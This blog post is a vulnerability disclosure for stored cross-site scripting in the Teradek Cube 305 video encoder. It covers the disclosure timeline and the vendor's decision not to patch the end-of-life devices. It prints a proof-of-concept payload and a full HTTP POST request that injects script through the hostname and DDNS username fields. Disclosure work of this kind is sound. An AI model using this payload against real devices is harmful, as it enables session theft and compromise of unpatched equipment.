Back in May, I disclosed a series of cross-site scripting vulnerabilities in the Cube 305 video encoder, a legacy video encoder from vendor Teradek. Teradek is video solutions manufacturer that develops networked devices for broadcast, cinema & imaging applications. After working through initial vulnerability disclosure with Teradek customer support, they informed me that “based on the scope of work involved, the product management team has determined that this issue will not be fixed for the EOL products”. In this blog post, I’ll describe the disclosure timeline and vulnerability details. While they declined to address the vulnerability, Teradek was overall a supportive partner in the vulnerabiltiy disclosure process, providing consistent communication and even going out of their way to provide a detailed list of effected devices.
See the original vulnerability disclosure here
Teradek produces video encoding devices used by streamers and video professionals alike. According to their website, “Teradek designs and manufactures high performance video solutions for broadcast, cinema, and general imaging applications. From wireless monitoring, color correction, and lens control, to live streaming, SaaS solutions, and IP video distribution, Teradek technology is used around the world by professionals and amateurs alike to capture and share compelling content.” Some of their most popular products include the Bolt, a zero delay HDR solution; the Teradek Ace, a compact wireless video system; and the Serve Pro, a compact live streaming HD system for android and MacOS.
The Teradek Cube 305 and all the following Teradek devices are vulnearble to a stored cross-site scripting vulnerability via the Friendly Hostname field within the System Information Settings. Remote authenticated attackers can exploit this vulnerability by embedding malicious JavaScript payloads that execute in the context of victim browsers. The impact of this vulnerability is severe, as malicious code could be used to track victim browsers, steal cookies, or further exploit users.
Payload: Services.Zeroconf.friendlyname=Cube+255+04834<svg/onload=alertxss!
>
POST /cgi-bin/api.cgi HTTP/1.1
Host: 172.16.1.1
Content-Length: 415
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.16.1.1
Referer: http://172.16.1.1/index.cs
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: serenity-session=29328153
Connection: close
Services.Zeroconf.friendlyname=Cube+255+04834<svg/onload=alert`xss!`>&Services.Zeroconf.Bonjour.enable=1&Services.HTTP.port=80&Services.HTTP.ssl=disable&Services.DDNS.enable=0&Services.DDNS.system=dyndns%40dyndns.org&Services.DDNS.alias=&Services.DDNS.username=%3Csvg%2Fonload%3Dalert%60xss+3!%60%3E&Services.DDNS.password=&Services.DDNS.interval=60&save=Services&apply=Services&noredirect=%2Findex.cs%3Fpage%3Dnetwork.services&command=set
Sending Payload with BurpSuite
Entering Payload via Device Settings
Payload Execution